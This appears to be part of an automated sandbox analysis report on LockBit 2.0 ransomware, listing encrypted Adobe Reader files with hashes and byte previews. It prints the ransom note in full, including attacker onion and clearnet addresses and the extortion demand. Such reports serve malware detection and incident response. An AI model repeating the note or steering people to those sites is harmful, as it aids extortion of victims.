Preview:	3#)d@..S".....S.......0.}',..b.;...~I'R..x.=[..GD.oS4..@.....~.N...]T%..")r{8.#...,..w.....t.6.q~../.:v.YS8L..V B.@.x.q1.....:.h,..{.........e....j..O..jF(..U.H......2....O....yB....v.w.B..r.........`.d...o........JX2..K.&\....6........^.D.$..4.F....\'.C...../..6+.T.!veG...?6\a...........Hp.<.......h.'XVr=....9.....&.G.}....E..X.eU"...{....iz.\.E......T...1..B..[7".Wl.\|..U.0m._$.Yh.t.B.0u $..s.-x....._.v4..3.L.t...Q.W..,.9w../%i..;He\/..F,.A...{...[.q!.k..h..<..u....(.<...r..K..f..z&.....tm...SIin.1q\|0._.9a.C.B..U.b..U..B...J..7 -$..j.......7..;gO..bK....N..a...5....W....c..a..0..w..$...Sb.n.;4"..0.+..`..L...&...WRr../K.........e.2.......^..x....\|A.S.%..J.p....w.R..1+\....!........kR.35.`.WgO...;..B...3.2..'h.q..'.\|.}..q.Q..T.. .b......s..%.U"./...p...".9.;w.4..p..m.}k....{4@z.....i.q...m...+I...o...k.../.\|*.....hm.J..g."......J.Ck+1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\redact_r_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.855602331452997
Encrypted:	false
SSDEEP:	24:Nr0SbOEj5qAidEMxjyEjJlUCYePkQkIdmoHULFLOoxTDsqzvB7:aynj5qAqrjvVYePcLF5LOulzp7
MD5:	8958D308B6E6FA5B0B4EB0A4D2F96080
SHA1:	EAB7CE9FF4DC0DA1067E6DD3B57A208D7C561598
SHA-256:	A83E507A1563A09691072D52102734D0AAC6EBA51543A45D2FAFDE2FA83A58B8
SHA-512:	CB4FB3A9C04A4BCE432A037920722039E2EEEB53954576BD38A7523724B3FE10DD2121EDCACF0ABDFC925D5B7B6B10FA5A661F6CAAFDCF25E1CCBAB1CC77FF90
Malicious:	false
Preview:	.2.@t\m4....0M..K.[1.5.Y..1@.Q.......~..l.....>&.~,VJ{...N.7bd..L..f"P^...8x.8....`.Ya.....$.G67..w......l..B.yT.:..\|.....}..X.}",...d..&./...P.g. ...>.W.d7..S.?..........%....].....K...}..#.M.?(...x).?....9....$%..`_....@.{.2...*[..X.@.fs..7(.O.............M.LJn.....g..-.M...Y....\|..............T'.~..F....L..O.q,$.".hR.k."Z#..R.........C.....'.2....Ml>!..!.w...,...].^......6;.Pe^S{....7X..!..lU[E_.....%....Oxf.Q.....n'Pyo..b~...M.d..>.`(.uL..x...s.+..3"7......I.KT.tc..2\|.f.K.....#...Q..{r.........[...F........Y/B..-.....\.Q.2......aM..Q.IR........@.8~w."._....-.k...j.2.`..n.._...$jX..@V.V(.........d9.qC/. E....L.&=ZP^.O/.~....C....H.f...... ....+...R...!D..b....=.t.x...F.t...<.e-....<....T.G..x./cL.0.pv.4m\|.......h...O.x.]2W...3....Q.C..oqyo..(..\|n..~.D....f....&>Z)..g.HF..=.............vQ?...6.U.R!n^...o...b.&.]....K..6.$....w@R..2:.a.r.....Rn..l).K!.)e/.J.......MD...........AS;....;t5M.U ..!..[......A.......#aDx...W._J..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\review_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.802549505524303
Encrypted:	false
SSDEEP:	24:yablqkLOVwnimqPeoXIipCytDjymsqzvB7:yabQSimkFIBeBzp7
MD5:	098B1666BD1111BBD5F937FE69E0CDFE
SHA1:	5B72A95396FAB4880EEFB71208B4BCA86EE0A801
SHA-256:	2C87A9F654F993C12901485312762CF97BD015A906075B8252E50AC8A3EBF6ED
SHA-512:	04CE2838533635A31264C57BBEE0DF0B9741432A5CEA14AD2592B946A60A2E27E784BD4ACCC9331727394B1E634B2182454ACEABA31FA4114EC5ECCEF8F92318
Malicious:	false
Preview:	.Gv.......~.'.&......XL.U..&...5.._-....../.v.X.Z.B.V....)....W.z1...f..].^.>.3.L.H3..k..\Jn..:..}.}...3]."...o4.f...0.=LL./.....AT7.....lF.4.o...SA"x...P.Eo.....).....'...'...5g^......k..e{.V..k.~P.eq.5.}.b...P6.-...ZO.!S..hP(\|.&)..kk<.W..\0.3.\|..p....]Qp......<.U...1..H.tS..;.\|E...GC..T.H%.......%.y".qC...+.......(..P..=..k)..]...#.lL9B..A....)...G.......$.{...o^F.. Vz{..I.....o.;..v!...F..m.=-..@.#..Q.....v......k..R...>....xz^..x....}......o...B...8..^.&.f..l..5.-.......+"...0....a.J.)R.[..c......_Jzj....N.?..e\|...P......5b.b.".TK.G..%..S.XgM..$..F....05=[..V....3....,..9..y......`&...)ww.&.....-.m..j.H..m....>..t.6".ji...0.6w..?.1....y..7..W..<..h..k.P... ...2......2.&.R-P.k...F..h2..D.x.0&..........F....Po.9.#l../..Q.i..c.......t.....r.;4..e.....b.~C....@..A.G.f...;.....X.'....wH...0.h'{.\|RX..:`Cq.......)D=.....1.<(..z.KR.......Mr.D..k.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\scan_r_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.8737451254187425
Encrypted:	false
SSDEEP:	24:emzq+nKsGDCQ83cWOqZkyy5aYynzU2+s6+mj+l8bLTw/7ICGo2KHmrZpb2qzvB7:PTn5GDCQWvbZkyy5aYuz+sKCl8bna/TK
MD5:	63A8C1853DF608E9075279A23D5A0522
SHA1:	9AC74E225667EDCFAAB20805B0EA633B0A3993F2
SHA-256:	BCD405F8411ACFE021A96FF59F12A9BCCD2D657079E5FBD46933F68ACDDB7A71
SHA-512:	0E35C0866E88791ED55AFDFBE337BC771514C133712044A7308CD61BEF6BF488CDBA4425F752C1A819F7593801E465D3E958D6ED690EDB0C67AF8407384D4610
Malicious:	false
Preview:	&A(>.].r9ze6...Y.........v6.e4X........m...xX..v`.......6AP..8y..6(.y...-.R....l.t....F...eq....a4BUy.."k.....A&.....)F.J..Z.M.......VR.%..I.vp'..J..+....&..pY...j......z.`.&..K../........7....m.8d.+u-....n...JP..C.[.....p5~.J=.$..s..49.qu...5.Jj.B'q..H.(0......H...Q..Ra..d..J9.S...f..G.pn..[J.':.....W.......4..Ph....t}..m"._.G:...MK......w..#......L.7.'?H..BSr.z.w..:.%./(.0%..!..g.m#..kk.'hFv..W..}.2....=ed.9.."S9...).a..T.....I.........A<...vr...:.^kJI.V......6].l@...\|.....T._.....5;...kg.'...s.A.,...x.#. .].t..]....bP..C...Z?T]...a4...v:"=j......wc......LNn........,..\|.......}.LW#"L.r0.I.+.3...T..........K.Fv=s.....(+..((..w..s.....}.l......~..3..J-;5eS..l."+.@..<u@..W....nR..vDu.\}..:...KH...=j...R..._7....2.2\|...h..%Z.....C.U......4......u.....L.0A.gt...2....&....P7$?.;......D...s...."o..^....=...Y...j.......j....f......:Cr.6.o.........f.t"F_ .TQ..Im..A...^......[.N.`.?.]....9._F..d.*9..I]...&...T....1+d1<.........._Z...sf.V...

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\stamp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.851030077776346
Encrypted:	false
SSDEEP:	24:4nn+3W3wzznzZ945VYK9X+erQyIC1FjlJ4RSILAZ7Q78m0P0qSqRb2SzL7qzvB7:9zznDAx+uICXlJ6SltQImZq8Sz6zp7
MD5:	CDBA44233AFF46CDAD014B7237A11D6E
SHA1:	B66AA195B864BCB598E629672803256F16371FF7
SHA-256:	0EF3400E4EE5B39087511A550234FE87322129B3BBAC9B06317491D53F32A2B4
SHA-512:	3934110E24AE42A99FED8C2413B247DC3602187C81103B1823C3EC8ACAD801CE617DE1970E76510FD6379CCCF1A9BC000FB7D1E174B4FBD9D76C279413A3A007
Malicious:	false
Preview:	S../...%....&............P..v}..{.y!q......1=..+...i.G..$^....C.^A.(....C..T:....\.I....1Y.Vph.6....I.t=`...6.ib..+<9C..P.....Se(..qNB.l..U..M..1oxR2......>o>.b..s...-...n..v.FU.KW.G1......J=p..$.~...CW# 4.1V&..'U...C.B.....3....jr.H.7..a..Pl8c.<k.h.Y.....%52..\|)...)C\.\...:.uq..q}x....7.......h.QB..,.S.o.U..u..iQ.Y^er.<......G.`J0.I...#.6TP.....^9y.$.._..8.bju.f.\|.+....L>...%T.kw..$KQ.~<...<.j.>.[...M>Y..w.'.e..e.S.T(....d`........O.Z...5L....T$....W.9.%....h.m....{~.-.aB<Hzx..-......2...,.."..j. ...Z....jC.bA&w.2:$......pR......X..'..'.V..}<.L..s^.x..l...<C...B."\s......7.3O."s.a.......oJ.e..q%.2......-.*k.n....I......b.f...g.k..>Z....6.a...q..l5-.{..m....P.........6.yo...jf.}..Y..\p.F.t7.zkP...]........"..(8..r.HI8..GM#..V....t.Tx....R.C.......zA..u..V%...>.....ty...h'.<.eT\|X]-..ne5Q....-....0=.e.].6.D..7.S.Z...iG...m..L.....Z..T..`.Y1..5......].F.7.....7C....+(.x.....<n8.. ...hE.]a...(.....+@.{H.-v.g.{.x.L..%]...

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\trackedsend.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.801092893908513
Encrypted:	false
SSDEEP:	24:4hmfAx5j46TRP5wSV+zQ+xH43RBDY5Z1F+pmqzvB7:4h13tgQ+t4huP+pbzp7
MD5:	0F5544403A774228189E017D3D3BB522
SHA1:	3B929026AC04E2DB4BAB3872DDBABB993A5906BA
SHA-256:	59F3291E669E6993E6108DFF0157745B7E071F2FF54AC38DA3D03FD9974B07D1
SHA-512:	A28E23833D042A9334AF8E626233015A26E6F1E59F762D865A02C44102BA9BD72E3ED51A2D0B2C2F4F6A5DDC03A35B0F7AC21E1E80BFED13833AC1ED0E1E6FB3
Malicious:	false
Preview:	.'...?.K....a..:...2+. f(}yI.......\..i..w.....Q.....cBuW.G..e.=\|..-..8=..].......}B..V... N.uD+R.._.pp.S.../..+0.:..J)...W.x;.....<.k....O?/../4......O.9.f.St%.[L.^i.......k^}=.TX.A...-:n..>.vrUB>......`aO*1..&...+.v.>,,.:X.d.#3.N.>4k....d.....$.G..K.M}..4..`..s....).a5W...\|.Ehw./5..x....;....j....X4t.Y.~ui..{.9......n...L4,I..p.?.........b....j.=...%......H....... .y....:..P..?....x..(...lo...w(g...<.......V....8...~./.G....xAL.M}.....<.>.d..S.......gw.N..X....m[.....'.3.......)7.k..,,Yh...(=..D.O...;..r.....k...c&.p~.......W.YZ.A...e[......bXj......cX.%..e.../...>.%.2..i(.. 7......9c...J.............0.X....^WB.Ox....(...G..Zj....K\|........&.&.,.s{..j...w..kV.Nj}....d[.E..%.u..LN:n.$_c.c_.A.A.$5....j...^r?g....E!...y..o,...Eyy...X/C...y(..C..z_..A.....\h....7.._.........q?P.V.p;....1o.e.{._u(I.Nl.p.GY...s....\|.../.6..Q.3..O%.?.D...c.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\unifiedshare.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.893701765540143
Encrypted:	false
SSDEEP:	48:hWbvc5HHiSvAabmdFLgiWDqTWrQPAImvwW5zp7:CcZHYJewAII5/
MD5:	048CE7B3F1C3AAA6EAE1D5AFBFE2C575
SHA1:	02C70D844B6C0B2A181A03A7D736354D49C62414
SHA-256:	DD54D59DA2CCF7EB10AFC69B5C6FF8DBE971B3B67D38D373D8DBAB1375EAFF66
SHA-512:	D4442F823BF1EC7E5672640912CC018BF8402B9E449C9E0CDB6C381741197718ABA48DCCDEC0882F687034FDD4396717CFBF3CB4A74238DC787C014A226FD1BF
Malicious:	false
Preview:	....g%...T......W.+.L.......;..o.<<.@./..%V.%.a.oh4.\...'W........)...?.1.#Lxf...w4.zy.U.K..y~....OV.o..o..N.......\|-.n.%..[...W?.J7.;..'0A...,]..X.Je.~.....q#.]......4.R.~.q...L..O....B...;`1.......$...o.P,.s..p..`....7I..e=.;.....1F\?m.X..."...ddX/...&p.#....."..<V..V....2~...d......0.LA.s..&...b..0..@G..qw.a...^..a...4H.v....<O)..r.......N-....$.2....W..........z..K.H{K..W..J...2f.....~..V.C+UxC....]..[...2R.r\.{c..1.D.h.....mB(..Fx4i.;.Q......K^\|.c0?.....Q...e)U.6.J....w....s.H..<:r-'....d.h=../.\|.P"c.]..y/...#.).v5/..K.Q8.='.A+......r.^.W6.0...!he'.Vv.$........L..v.Z.....g. .x{...>+.X^b....Q..N...2..z...I...3.^..n.=w...#/h^.j..<..9..".,...".Q...........51+f...g9...S.D..)YZ'.C..K..HN`..1qC.......\........$A;o.....2.....,.../.T..9..>..N:~..Y.a.p.......c...D....as !.E.nk..e..r.D.h~......'d.....i.%.,&@..&.. ...{.a>..sp./^.vw_O..h...Y.gE...}...E..n.. .\F..a.;}.b..G....T^p....!....Z@xV%...7..y.-*e&H.....n9..1...K...\uS.@5.;..N

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\viewer.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.8123872119056195
Encrypted:	false
SSDEEP:	24:tKkJyHzHdQwLg+jiyDPb9Yu2lVsX1owIxqzvB7:tKlTHe5+PDPb9YVlVI1o78zp7
MD5:	027D0B577B93CF0085E34E3D4D020495
SHA1:	BE641405E8E991B20F212686ED0648E6E849BEAD
SHA-256:	FF78D54D4F889D509F306753A099EB617B1FE5A1D5F7EEC6AE5A111355DDF004
SHA-512:	BED09665A3B6D9D084F5074A8A77583577B4695E98BF1DDBE7F142710A598E287FB0DA13CBC890930AF92FBE06FD02AFE2931FB377BB46252CB796204654EE90
Malicious:	false
Preview:	........=]...V.f3x..[.S..'n.(i.M...o_...}..Q.ao.0.1i.!3..ZIx..3...#w\|\.<}.."#..S:....c}....'r..i.2;.z...@.vl....2E...}.3...Af>..fM........;V....j..../.5..'.Q.[O.[./.f/X..Z.&..L.:`...A..Ow).,\|Y.k.....7..l..#lN.6zb.n.Q....$#.W0}9..PT..Bm...:wu.*M=...j.r{d.......#.0_b....3y.T.....<..I.1.f.0z.k..D.C.......0..g.P...Hf.7@.r.)H..i..N.....O.a.....f.y...4.2..O~(...&..flj!%>9...~E...L.D..a.O.6fq...%sqRD:~..J......F.hH.,.?.E.........7t...%..A...#...y..l.He.?hb...d7.W....].U.i9.......M..%.....A...G..........2.......Xh.q'....D..."....S.f;..R8....o..=..x..f.(..$.G..DC...gP.a.W.U...W....S.[E_..o:.#...,tS....d.....^.:.{&..1......B..e....O..'G...@..w@...dU%...d.E.d........m....2T...n2.+%_.#l/,..(...<.V.b1z...z..V.......LW.'..d.z]r.k&.XeI.Fz.4...6P..OV^'.C...H...G...MZ...b.d...4y$.T$..l.E.=.....6....&..KI].......^.q.?k..XpqL.)\|.Y.n.d.kv.Z..e.....YqR^1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef.pak.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.5257006966617475
Encrypted:	false
SSDEEP:	12:J0KS6pQuHc77K/Fuyu/LjYPWv9N8Ngt+7wO5J8ywMeqxlvB7:Ju/4a7aNwjYPWv9N8NH7doqzvB7
MD5:	9207D244FD3F570F0692093DABB78AA2
SHA1:	FC6C157DEA189B769C267991C1CACF40EB3E628A
SHA-256:	BA569E36058380C30253242D8D8CFF7E7663D0935B4A9E73B834F42C11AEE213
SHA-512:	7CF43B2470090715CE4427D9077B717177CA8F88DDDD0CF1C31A3C51A6A3725D916104C03EA46395154A6665E1EA67142EDE1ADC6D49BC77C5778A47E8E60129
Malicious:	false
Preview:	A2.?$....,...<.jv.&..Ae..Q.1.8...4.-\.9..]v..A..s.eHL.j.>F.'G^hX..`O...4A.snA.....hu$z.+.b..\oH.........g....T.Yp-.4g.,..r.]......?O.7........).6>=>.}..sm.z...K....=G.../w.KOn....+..{.......G..E..vl.....7\Q0...i..W.VF..y,....b..i.-.W.......Y...6N.]..bON...1*....U....-.Ms{..1f.a..#!...........'....A........r..Nh.O....EimB&....lm..}..&.:+.....y ..c....s1X.D;...1 1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F7T.....l.[....{.2....>.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_100_percent.pak.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.539001155394757
Encrypted:	false
SSDEEP:	12:9D5qR9O8vk+kw79zktyWZYqbjwMeqxlvB7:9dqR9Tvld9QtbsqzvB7
MD5:	41F52733A7DF77CB0F51A5B282C8F3D8
SHA1:	5D57DE4AA871E2CAFD4789AEE6A5BB04E6E3FC1D
SHA-256:	0966BF87631ABBDBCA51CDEE0CDF6D34BE1F822B32A85F250AB6BA7F8AB17913
SHA-512:	BE315128D8AB6FE8DEC76D64149E258032C17499936CB4180B94A040664EC7C22D23FBC6644AA1B4D97A72BCE886DDD29E0957D35755EEDFF1C66C44F4F6BBB7
Malicious:	false
Preview:	y.....c2;9.U..y..W.....3J..5+@...U.tJ..Fd^.....:.....P.\|...b..0....2.U..4.+..ay_...I.Y..n.S...?....F.\..oT..H.m;B,s.. N..I........V.A..]Wj....F-.K ..=.8..l.fO.w.u..`.Im.. (.H....7.m^..#......>.y.[..q..?..n.f...'<...z(>..]... .....AM..M.R...e9nmo...t...h;...t..7....w.G...!.h.B.^.k..-...T..Ki~.....EJy~HH....\|ZJ+8....o.~.7pY...:.......2.......tQ.....\|%.h..\|......1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F7T.....l.[....{.2....>.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_200_percent.pak.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.534863544487339
Encrypted:	false
SSDEEP:	12:FK5OU22ZK+zy9YULHsqbTxwAYyPnbeT7XPa7wMeqxlvB7:FK5x2YydhbNwl8nyfXCQqzvB7
MD5:	B2C08260948A7CF00FFD5A8825D5B283
SHA1:	A73F048A6556E43D7BB18975025AA86B616F28F5
SHA-256:	B50F1141EED67E97176E9AE495289FE5D5EB1A4E863E82D6EADACC64491892A8
SHA-512:	66EED2DE5B4747A0DAEE1F0E542CD30C0EA3C477A447E92EF7FEF82C1549FED26961B15BD1DC1971F5D162C94B37DC0DDD9B3858389E6E55FB6415E41503B96D
Malicious:	false
Preview:	2.<."..;0...>.6......M..'.op.rsj..n......A.....5..B..qX-..w... ..P1.i.....r.h....).g>o...DA...[.......".N..h..da./.Q...^..A....H.6.U..l.....l..KH...o...._...M&...J.u@..D...y..FW$.e`..C..'..^:0......V.&W.l...1......{..W..B.-......4.0,..#...K_y.>.vC..Z.....T..%..8......vW.A.....\|L..O...\|....?.i..n.:x.l......7.F.!..F.M9.?h2..nSZ.'\|p$.a.i.Q.y...AKH\|...r.K..3M.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F7T.....l.[....{.2....>.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_extensions.pak.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.538825283613215
Encrypted:	false
SSDEEP:	12:k+EyoH7LsyLNM+HDkdVJW1/2Mfp3U2RGqN+ywMeqxlvB7:tEyobLsMD2+E2RpN+dqzvB7
MD5:	92A721B6244242169B6BCCB35190804C
SHA1:	E2D7A3448C82007D47913469907A94C7F8115493
SHA-256:	2230738DDBFE085F767761EFF0F5C58EC32933823B2DC5973268EACBC438F0F0
SHA-512:	DC6B5759F2756CEAE9927317C731722E38C2E1783A14552730BE9646A8FFBDACDE608409249DFFC7C3D623C4D657B10FF7A913F3E5A93FEBF58EA5A907D6C66A
Malicious:	false
Preview:	?..OcD.5Y...b.......h....J.]...s....7..N.u'..\..xMG..(.o...q..."F]..:.~n....0e.....=<..44....K-...A........I..K..(.6...u....sDS...'.>M....yO4?="l}.....t..A/^.657@CZ....pT.q.....\JN.dK..L wG..`'..4.D..:..o.x......iC.]....k.o.&"=..P...L.0ydf..n...V.{............6.s9.i..=dN...V.P.D.1.A._-.8..E..Pt......_.x...............o.+X.........l..].a...2....,..s..*...i;..f;-..1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F7T.....l.[....{.2....>.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\copying.lgplv2.1.txt.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	27648
Entropy (8bit):	5.698394633554985
Encrypted:	false
SSDEEP:	384:VQpbSTW7RKvn018X6sT6AATeINgKP+nHQ41fgcmmItyOQeM9YfWEJZBfuoTpDM:VQNmi8OTeDnLqFXTflJZBfuolDM
MD5:	58020E1BF41E7907AC0290D60E7CEEA6
SHA1:	E899E046D732B92C2D348C91D456DAEF42B8D3F7
SHA-256:	10A438EE1DFC56E332481B9DBCE7A9BFDD06A9789CA29EAC810B01E3A8E109BF
SHA-512:	CD46CCA5B5E955E3A73E8577D95A60EE6D32CBC3679F9EEF625B09F51D01A359AD7224D766B5C61ED0E169B43265A74B8CDB79D07170FDEFF622186331CF675E
Malicious:	false
Preview:	>L....IJ.Z{..+...S...=.r..b../......1.g.....S..}..ZV............e...J.<......4.5...U..(.H;x...'...$.w.n.G".s.c.U.3.V........Z..+.......P$.u]t}..S....p...X-.@....[`.w..3..5...j.OG.O...!..).E.......v.....i.b,D.,...T....1/..R.C1.....T&..l..a.o.u.Ff.\|z.=.....m9Lf.%H.....~...=....H....GV.........n.k. .......[.q.f.b_b.um....2&...+Tl.}].....i+y.@e.AB....O.R..G..1%4.e..M+.sG.2..............&..M%.,lUB...FI'(....H@.B..h.........`F..`. h.u.i.K.WR.?...E....+v.Z......r..#h..HH^K..G. fK.:.......].....Y.........'..}Dy!:e..m......q...l...k9. F........FC..b=.^'...Fz..d.9:.........tY.....h\|.O....{.~..^.B.F......l.q.......2].g+Q....O[.j.......zE........C.EQ.n4..5n.9x..e...I`.)<%:N.2"........&(..E..X.......N.S`o]....e..).,.......'t?..y.&.bhb.Ga...0.C..?....."H?.B.....6.-.!.....>l.............J.e-z.f^$....(.D.j].!~.....a....(.e...U`i..Z...<4...n,..2..J....T,.......jP..oZ.(..>...`e.....MI..^..u]5..F.BX...2.$@.Y.......h<......P.>n<...7..j.M.....f..`.aC..\

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\icudtl.dat.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.59613969370686
Encrypted:	false
SSDEEP:	12:jBvE327hR6CxHhQ3I+T5YD9GE6wTuwMeqxlvB7:9027hR6CzQHi9N3hqzvB7
MD5:	28795F8E474C0C0E93AA4502540550ED
SHA1:	5B4B6B1BC63183BDDAD9D90D44B2F9AA23EB3C49
SHA-256:	FED458E4E5FE924AA9E6805AFCE4907F4F27EBC82203B3C94A45D3AC04D4AB6B
SHA-512:	EA087BD22722059180B6C12F42D2125BD3666250943173E92F4B1EA0B5E5768294BE8EE62C75F0AB5F0F31446D51641C2C3E8A3B4076BAAE721768E87A235CA5
Malicious:	false
Preview:	Ht...D..M'.!..5D<,.....{....P.M......U..;...qY...D..).i....s.h...J.!J.d..f,...W0.0....w~..h........X:.T/....a.'.m.Ad....Lt.gK8..6......"..@8....c...t...D......;s.l.r..:.8.FU..........\|..~....e.3V..m..D..]`b.....%.ZE.aX...M..RJ.....u...y.c.~.,.S...cL..AR^1.#...]Pq.A.6.....jI<........M!]..'..Y.S.qC.N...$.hQ......7..7.&.yg.n...s.4.\......5...N&.O+Ft4..`....1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F7T.....l.[....{.2....>.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\license.txt.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	7.929162763231847
Encrypted:	false
SSDEEP:	48:mkPCXSH/BdLiqFM3ei425YfUJlQPdU//5rhmF6vhy82rzp7:daXSBdLiZR5AUadU/h9xy82N
MD5:	076D21CEFD09F42BE7A3778BF06915EC
SHA1:	903080BA27E5DD5DF7C25843F8A397EC731E5E31
SHA-256:	2BD5E7D02B1A13242A5F410BFF79A10C0F79CBC114B355479A670E2D0EE1AAA8
SHA-512:	6754242148117892046886F9B4469F6436AD4B31649E6EB7490F4376BDBE49BE4C1E551C52A1F5005FB65E4118AA3F65660FF512577FF2D8A0EFAB2AD2BD3341
Malicious:	false
Preview:	U.-.....I.8... /E......=E.h..H..;.16.`.l.iw^......g..;..1PrZ.t.i.J.....}..6....+.7....y.4...W1. ....3..v..3..5........qp%.1g..fV.._.xX..Z{=...j..Qr.lJ.....oe....G.\|.B.X_.\|.g..l...6.s......P$I.,..+.%.2.Lc^..(te...o.X\.L.D..}P....Wd<.5...^cC.p...v{p.....c17W..}t..9.....h4L.J...=..e.,...)..i.~........#..f ...N(...K...O..(.......Q......V...9sh.3....y............E...\|&Q%q.......y...\vSf..%.......+cJ?.>...L..BV..I...79.s..t:w>-..CH.....DE....%..}k7..K..<.uZ.o..#.i...sKu..-....g.^t.....?..)(.aqKG[..\|..9u..V...I...m..w....2..{....y...!Z...}.....k.f...........8\..,..{L$.<&..JW...z(0.>r!.5..'5..W..z-t....y....}l.xb.r.>]\|L~..?.&G^zy......H.....5.x._.?.J.uph@Kf[.V.(...).\{..p..wS......p.j.S.T..sX...3..>.ca....H.#.c>A....'.w..._8..^h./..[-3l+B.J....112...9...v..\|.3S.......W....ap....,q.=.d.j.\..k.....Z'......%.,F.E.9o.a..4...R..\R.....ykN.O.u..)d...\|..f..3....v$.i.)+y]...p.V.w.6e..\|.s7...R.}i.....eF.y..!....2.P..dL.......j.a..8.N.s]j..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
